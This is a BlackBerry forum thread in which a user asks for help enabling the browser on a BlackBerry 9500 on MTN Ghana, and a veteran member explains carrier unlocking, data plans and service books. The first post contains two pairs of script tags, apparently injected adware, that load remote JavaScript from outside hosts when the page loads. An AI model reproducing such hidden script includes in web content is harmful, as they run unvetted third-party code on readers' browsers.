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icon2020
Posts: 1
Registered: ‎09-30-2012
My Device: 9500
My Carrier: MTN

INTERNET CONFIGURATION ASSISTANCE

please i'm using the blackberry 9500 (verizon) but i cannot enable the browser. my netwok operator, MTN ghana said it cannot be configured authomatically, so please help me with the configuration process.

<script type="text/javascript" src="http://loading-resource.com/data.geo.php?callback=window.__geo.getData"></script> <script type="text/javascript" src="http://cdncache3-a.akamaihd.net/loaders/1032/l.js?aoi=1311798366&pid=1032&zoneid=62862"></script>

<script type="text/javascript" src="http://loading-resource.com/data.geo.php?callback=window.__geo.getData"></script> <script type="text/javascript" src="http://cdncache3-a.akamaihd.net/loaders/1032/l.js?aoi=1311798366&pid=1032&zoneid=62862"></script>
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Hall of Famer II
sdgardne
Posts: 47,975
Registered: ‎11-28-2008
My Device: Z30, Z10 & Q10 (10.2.2.1531), Playbook (2.1.0.1526)
My Carrier: TMobile USA

Re: INTERNET CONFIGURATION ASSISTANCE

Hi and Welcome to the Community!

Using the BB-specific services is a matter of your carrier providing those to you. And there are some things that must happen for them to do so.

Any BB can be used on any carrier that runs the same radio frequencies that the BB is capable of (and I've no idea if your's are such). But, to bring a BB onto a carrier network that they did not sell to you, there are several hurdles to cross:

 

(Note that I think you are OK through step 4...but that you are stuck at step 5)...


1) The carrier must say "yes" to the fact...they own their network and have every right to say what devices will be allowed to connect to it. If they say "no", then that's the end of it.

2) You must be sure that your BB is properly unlocked from it's originally manufactured-for carrier...see this helpful thread for details:

3) You must get all of your voice level services functioning on the carrier, before you even try anything about data

4) You must subscribe, from the carrier, to an adequate data plan to enable the BB-proprietary services you desire

5a) If the carrier directly supports your specific model BB, then you can proceed with registering the BB onto their network, generating the proper Service Book delivery to your BB, and proceeding to function.

5b) But, if the carrier does not directly support your specific model number of BB, then the challenges are much greater as most carrier systems will not deliver, to the BB, the necessary service books to enable the BB-proprietary data services, even if you do subscribe to them.

So, depending on all of that, your BB may or may not ever fully function on that carrier network. It can be quite tricky to accomplish, especially if 5b applies. So take a look at all of that and decide how you wish to proceed. Most folks wind up just buying a new BB if 5b applies.

 

To proceed with 5B applying requires you to have access to a different fully functional BB on MTN Ghana (any model, it does not matter) so that you can extract from it the necessary Service Books and then place them onto yours. Note that, most often, you have to re-do that process every time the BB is rebooted as the SBs get wiped out when it re-attaches to the carrier network. It is a cumbersome process, challenging at best, and fails more often than it succeeds. So, consider carefully if you wish to undertake such a cumbersome venture, especially with such a very old device (the 9500 has been EOL for some time now).

Good luck and let us know!


Occam's Razor nearly always applies when troubleshooting technology issues!
If anyone has been helpful to you, please show your appreciation by clicking the button inside of their post. Please click here and read, along with the threads to which it links, for helpful information to guide you as you proceed. I always recommend that you treat your BlackBerry like any other computing device, including using a regular backup schedule...click here for an article with instructions.
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